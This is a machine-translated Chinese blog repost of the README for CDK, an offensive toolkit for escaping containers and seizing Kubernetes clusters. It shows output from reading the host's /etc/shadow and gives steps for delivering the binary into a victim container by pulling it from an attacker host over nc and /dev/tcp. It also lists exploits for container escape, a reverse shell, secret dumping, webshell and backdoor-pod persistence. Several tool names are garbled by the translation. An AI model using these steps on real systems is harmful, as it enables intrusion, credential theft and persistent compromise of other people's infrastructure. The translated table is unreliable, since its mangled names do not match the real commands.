首页 > 其他分享 >CDK——零依赖容器渗透工具包

CDK——零依赖容器渗透工具包

时间:2023-05-20 19:57:03浏览次数:45  
标签:容器 K8s -- 工具包 cdk 逃离 CDK 关联

 

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

概述

CDK 是一个开源的容器渗透工具包,旨在在不依赖任何操作系统的情况下在不同的精简容器中提供稳定的利用。它带有有用的网络工具和许多强大的 PoCs/EXPs,可以帮助你轻松地逃离容器并接管 K8s 集群。

快速开始

运行cdk eva以获取评估信息和推荐利用,然后运行cdk run以开始攻击。

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

安装/交付

在https://github.com/cdk-team/CDK/releases/下载最新版本

将可执行文件放入目标容器并开始测试。

TIPS:在实际渗透测试中将 CDK 交付到目标容器中

如果你有一个可以上传文件的漏洞,那么你可以直接上传 CDK 二进制文件。

如果你有RCE exploit,但是目标容器没有curlor wget,你可以使用下面的方式下发CDK:

  1. 首先,使用公共 IP 在您的主机上托管 CDK 二进制文件。
(on your host)
nc -lvp 999 < cdk
  1. 在受害者容器内执行
cat < /dev/tcp/(your_public_host_ip)/(port) > cdk
chmod a+x cdk

用法

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Auto Escape:
  cdk auto-escape <cmd>                     Escape container in different ways then let target execute <cmd>.

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

特征

CDK具有三个模块:

  1. 评估:收集容器内部的信息以发现潜在的弱点。
  2. 漏洞利用:用于容器逃逸、持久化和横向移动
  3. 工具:用于 TCP/HTTP 请求、隧道和 K8s 集群管理的网络工具和 API。

评估模块

用法

cdk evaluate [--full]

此命令将在不扫描本地文件的情况下运行以下脚本,用于--full启用所有。

策略脚本支持的用法/示例
信息收集 操作系统基本信息 关联
信息收集 可用功能 关联
信息收集 可用的 Linux 命令 关联
信息收集 坐骑 关联
信息收集 网络命名空间 关联
信息收集 敏感环境 关联
信息收集 敏感工艺 关联
信息收集 敏感的本地文件 关联
信息收集 Kube-proxy 路由 Localnet(CVE-2020-8558) 关联
信息收集 基于 DNS 的服务发现 关联
发现 K8s API 服务器信息 关联
发现 K8s服务-账号信息 关联
发现 云提供商元数据 API 关联

漏洞利用模块

列出所有可用的漏洞:

cdk run --list

运行有针对性的利用:

cdk run <script-name> [options]
战术技术CDK 漏洞名称支持的在薄文档
逃离 docker-runc CVE-2019-5736 runc-pwn  
逃离 containerd-shim CVE-2020-15257 shim-pwn   关联
逃离 docker.sock PoC(DIND 攻击) docker-袜子检查 关联
逃离 docker.sock RCE docker-sock-pwn 关联
逃离 Docker API(2375) RCE docker-api-pwn 关联
逃离 设备挂载转义 挂载盘 关联
逃离 LXCFS 转义 lxcfs-rw 关联
逃离 Cgroup 逃逸 挂载-cgroup 关联
逃离 滥用非特权用户命名空间转义 CVE-2022-0492 滥用非隐私用户 关联
逃离 过程逃逸 挂载过程 关联
逃离 Ptrace 逃避 PoC 检查跟踪 关联
逃离 重写 Cgroup(devices.allow) 重写-cgroup-设备 关联
逃离 从主机系统读取任意文件 (CAP_DAC_READ_SEARCH) cap-dac-读取搜索 关联
发现 K8s 组件探针 服务探针 关联
发现 转储 Istio Sidecar 元数据 istio检查 关联
发现 转储 K8s Pod 安全策略 k8s-psp-转储   关联
遥控 反壳 反壳 关联
遥控 Kubelet 执行程序 kubelet-exec  
凭据访问 注册表暴力破解 注册表暴力 关联
凭据访问 访问密钥扫描 漏电 关联
凭据访问 Etcd 获取 K8s Token etcd-获取-k8s-token  
凭据访问 转储 K8s 秘密 k8s-秘密转储 关联
凭据访问 转储 K8s 配置 k8s-configmap-转储 关联
特权升级 K8s RBAC 绕过 k8s-获取-sa-token 关联
坚持 部署 WebShell webshel​​l部署 关联
坚持 部署后门 Pod k8s-backdoor-daemonset 关联
坚持 部署 Shadow K8s api-server k8s-影子-apiserver   关联
坚持 K8s 中间人攻击 (CVE-2020-8554) k8s-mitm-clusterip 关联
坚持 部署 K8s CronJob k8s-cronjob 关联

关于 Thin 的注意事项:thin 版本是为短期容器 shell(例如无服务器功能)准备的。我们在源代码中添加了构建标签并减少了一些漏洞利用以使二进制文件更轻。这个 2MB 的文件包含 90% 的 CDK 功能,您还可以从 CDK 源代码中获取有用的漏洞来构建您自己的轻量级二进制文件。

工具模块

像在 Linux 中一样运行命令,输入参数略有不同,请参阅用法链接。

cdk nc [options]
cdk ps
命令描述支持的用法/示例
数控 隧道 关联
附言 处理信息 关联
配置文件 网络信息 关联
编辑文件 关联
未经授权的 ectd 密钥枚举  
卷曲 请求 K8s api-server 关联
卷曲 请求 Docker HTTP API 关联
ucurl 请求 Docker Unix 套接字 关联
卷曲 请求 Docker Registry API    
探测 IP/端口扫描 关联

发布文件

如果你想知道我们是怎么发布新版本的,thin是怎么产生的,为什么我们提供upx版本,all,normal,thin,upx不同版本有什么区别,如何选择具体的CDK exploit和工具来编译自己发布,请查看发布文档

标签:容器,K8s,--,工具包,cdk,逃离,CDK,关联
From: https://www.cnblogs.com/websec80/p/17417688.html

相关文章

  • 容器目录挂载原理
    前言就我目前的对容器的了解,使用namespace技术实现隔离,使用cgroups技术实现资源限制.但是具体是如何实现却从未深究过.闲来无事,挑其中的MountNamespace来康康,容器是如何实现目录隔离的.目录隔离在耗子叔的这篇文章中对此技术进行了介绍.在c函数库中,可通过如下方......
  • WSL 2 上的 Docker 容器 (1)
    ##wsl--helpwsl帮助##wsl-l-v 列出正在运行的wslPS>wsl-l-v NAME         STATE     VERSION*Ubuntu-18.04     Running    1 docker-desktop-data  Running    2 docker-desktop ......
  • c++STL—容器map/multimap
    1、map基本概念1.1、简介map中所有元素都是pairpair中第一个元素为key(键值),起到索引作用,第二个元素为value(实值)所有元素都会根据元素的键值自动排序1.2、本质map/multimap属于关联式容器,底层结构是用二叉树实现。1.3、优点可以根据key值快速找到value值1.4、map和multimap区别map不......
  • 98.关联容器
      关联容器支持高效的关键字查找和访问。两个主要的关联容器(associative-container)类型是map和set。map中的元素是一些关键字-值(key-value)对:关键字起到索引的作用,值则表示与索引相关联的数据。set中每个元素只包含一个关键字:set支持高效的关键字查询操作---检查一个给定关键......
  • C++ 如何快速实现一个容器的迭代器
    C++如何快速实现一个容器的迭代器引言C++的标准库中的容器都会提供迭代器,如果一个容器满足forward_range,那么这个容器一般会提供以下成员类型和函数:iteratorconst_iteratorbeginendbegincend如果该容器还满足bidirectional_range,那么该容器还会额外提供以下成员类型和......
  • 详解c++STL—容器set/multiset
    1、set基本概念1.1、功能所有元素都会在插入时自动被排序1.2、本质:set/multiset属于关联式容器,底层结构是用二叉树实现。1.3、set和multiset区别set不允许容器中有重复的元素multiset允许容器中有重复的元素2、set构造和赋值2.1、功能描述创建set容器以及赋值2.1、构造set<T>st;/......
  • Docker容器安装示例(nginx、redis、nacos、oracle)
    1.nginx示例1.创建容器1.查看是否有nginx镜像dockerimages2.如果没有镜像,可以搜索镜像dockersearchnginx3.指定版本拉取nginxdockerpullnginx:1.20.04.查看镜像dockerimages5.创建容器(-d后台运行,-p容器80端口映射到宿主机8080端口,指定名称nginx-test,指定镜像ID:......
  • spring5中IOC容器(底层原理1-3)
    什么是IOC1.控制反转:把对象创建和对象之间的调用过程,交给spring进行管理2.使用IOC目的:为了耦合度降低IOC底层原理xml解析,工厂模式,反射 画图讲解IOC底层原理  IOC过程:  IOC接口1.IOC思想基于IOC容器完成,IOC容器底层就是对象工厂2.Spring提供IOC容......
  • AZC智能集成式电力电容器的原理与优点介绍
    安科瑞虞佳豪随着国家对农村建设的大力支持,农村生活条件不断改善,用电量也不断加大,逐渐暴露出农村低电压的现象;以及大量单相家用电器设备使用,将导致三相负荷不平衡,配电网电压波动大,严重时则会损坏用电设备,因此,农村对电压质量的要求也越来越高。现农村配电网大部分仍使用传统无功补......
  • 详解c++STL—容器list
    1、list基本概念1.1、概念描述链表(list)是一种物理存储单元上非连续的存储结构,数据元素的逻辑顺序是通过链表中的指针链接实现的链表的组成:链表由一系列结点组成功能:将数据进行链式存储1.2、结点的组成一个是存储数据元素的数据域,另一个是存储下一个结点地址的指针域STL中的链表是一......